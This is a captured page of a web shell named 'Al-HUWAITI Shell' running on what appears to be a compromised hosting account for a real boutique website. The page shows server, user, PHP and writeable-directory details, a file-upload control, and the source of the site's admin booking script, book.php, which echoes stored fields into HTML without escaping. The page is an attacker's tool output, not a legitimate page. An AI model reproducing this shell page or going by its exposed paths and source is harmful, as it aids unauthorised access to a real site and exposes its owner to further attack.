Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux us-phx-web1202.main-hosting.eu 4.18.0-553.84.1.lve.el8.x86_64 #1 SMP Tue Nov 25 18:33:03 UTC 2025 x86_64
User : u615232177 ( 615232177)
PHP Version : 8.1.33
Disable Function : NONE
Directory :  /home/u615232177/domains/marisgoldunisexboutique.com/public_html/admin0564/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u615232177/domains/marisgoldunisexboutique.com/public_html/admin0564/book.php
<?php session_start();
$page_name = basename($_SERVER['PHP_SELF']); 
include("headerstrict.php"); ?>
<title><?php echo $company_name; ?>, Admin, Bookings</title>
<?php
if (isset($_POST['add_product'])) {
	
	$product_id = substr(md5(rand()), 0,8);
	$title = mysqli_real_escape_string($con,$_POST['title']);
	$paragraph = mysqli_real_escape_string($con,$_POST['paragraph']);
	$cat_id = "";
	$price = mysqli_real_escape_string($con,$_POST['price']);
	
	if( ($_FILES["file"]["type"]=="") == false ){
		include("upload_product_image.php");
		$picture = $destination;
	}
			
		$db_id=0;
		$stmt = $con -> prepare('INSERT INTO hairstyles VALUES (?,?,?,?,?,?,?)');
		$stmt -> bind_param('issssss', $db_id,$product_id,$cat_id,$title,$paragraph,$picture,$price);
		$stmt -> execute();
	 
		//create a session to verify it's coming from here
		$_SESSION["action"] = "true";
		$message="Hair style successfully added.";
		echo "<meta http-equiv=\"refresh\" content=\"0; url=success.php?u=$page_name&m=$message\">";
	
}
?>
<!-- ======= Breadcrumbs ======= -->
<section id="breadcrumbs" class="breadcrumbs">
  <div class="container"> </div>
</section>
<!-- End Breadcrumbs -->
<!-- ======= Contact Section ======= -->
<section id="contact" class="contact inner-page">
	<div class="container" data-aos="fade-up">

	<div class="section-title">
		<h2>Hair styles</h2>
		<p>Add a hair style, so that users can book them</p>
	</div>

        <div class="row">

          <div class="col-lg-6 mt-5 mt-lg-0 d-flex align-items-stretch">
            <form action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>" method="post" class="php-email-form1" enctype='multipart/form-data'>
			<div class='validate'><?php echo $error; ?></div>
              
			  <div class="form-row">
                <div class="form-group col-md-6">
					<input type="text" name="title" class="form-control" placeholder="Hair style name" required /> 
                </div>
                <div class="form-group col-md-6">
					<input type="text" name="paragraph" class="form-control" placeholder="Write up about hair style" required /> 
                </div>
              </div>
			  
			  <div class="form-row">
                <div class="form-group col-md-12">
					<input type="number" name="price" class="form-control" placeholder="Price" required /> 
                </div>
              </div>
			  
			  <div class="form-row">
                <div class="form-group col-md-12">
					<input type='file' name='file' class="form-control"  required /> 
                </div>
              </div>
             
              <div class="text-center">
				<button type="submit" name='add_product'>Save</button>
			  </div>
            </form>
          </div>
		  <div class="col-lg-6 d-flex align-items-stretch">
            
          </div>

        </div><!-- end row -->
		<br/></br>
		 <div class="section-title">
          <p>Uploaded Products</p>
        </div>
		<div class='row'>
	<?php
	$stmt_p = $con -> prepare('SELECT * FROM hairstyles'); 
	$stmt_p -> execute(); 
	$stmt_p -> store_result(); 
	$stmt_p -> bind_result($id,$product_id,$cat_id,$title,$paragraph,$picture,$price); 
	$numrows_p = $stmt_p -> num_rows();
	if($numrows_p > 0){
		while ($stmt_p -> fetch()) { 
		echo"			
		<div class='col-md-4'>
		<form action='";?><?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?><?php echo"' method='post'class='php-email-form1'enctype='multipart/form-data'>
			
			<div class='form-row'>
                <div class='form-group col-md-12'>
					<input type='text' name='title' class='form-control' placeholder='Hairstyle name' value='$title' required /> 
                </div>
                <div class='form-group col-md-12'>
					<input type='text' name='paragraph' class='form-control' placeholder='Write up about hairstyle' value='$paragraph'required /> 
                </div>
				
				<div class='form-group col-md-12'>
					<input type='number' name='price' class='form-control' placeholder='Price' value='$price'required /> 
                </div>
            </div>
			
			 <div class='form-row'>
                <div class='form-group col-md-12'>
					<img style='width:100%;border-radius:5px;'src='assets/img/products/$picture' class='img-fluid' alt=''>
					<input type='file' name='file' class='form-control'/> 
				</div>
			</div>
		
			
			<div class='text-center'>
				<button type='submit' name='update$id'>Update</button>
				<button type='submit' name='delete$id'>Delete</button>
			</div>
		
		</form>
		</div>
		
		";
		if (isset($_POST["update$id"])) {
			$title = mysqli_real_escape_string($con,$_POST['title']);
			$paragraph = mysqli_real_escape_string($con,$_POST['paragraph']);
			$cat_id = "";
			$price = mysqli_real_escape_string($con,$_POST['price']);
	
			if( ($_FILES["file"]["type"]=="") == false ){
				unlink("assets/img/products/$picture");
				include("upload_product_image.php");
				$picture = $destination;
			}
			
			$stmt = $con -> prepare('UPDATE hairstyles SET category = ?,title = ?,paragraph = ?,picture = ?,price = ? WHERE id = ?');
			$stmt -> bind_param('sssssi', $cat_id,$title,$paragraph,$picture,$price,$id);
			$stmt -> execute();
			
			//create a session to verify it's coming from here
			$_SESSION["action"] = "true";
			$message="Update was successfully done.";
			echo "<meta http-equiv=\"refresh\" content=\"0; url=success.php?u=$page_name&m=$message\">";
		}
						
		if (isset($_POST["delete$id"])) {
			$stmt = $con -> prepare('DELETE FROM hairstyles WHERE id = ?');	
			$stmt -> bind_param('i', $id);
			$stmt -> execute();
			unlink("assets/img/products/$picture");
			//create a session to verify it's coming from here
			$_SESSION["action"] = "true";
			$message="Hair style successfully deleted.";
			echo "<meta http-equiv=\"refresh\" content=\"0; url=success.php?u=$page_name&m=$message\">";
		}
		
		}
	}
			
		?>
	</div>

    </div>
</section><!-- End Contact Section -->
<?php include("footer.php"); ?>

Al-HUWAITI Shell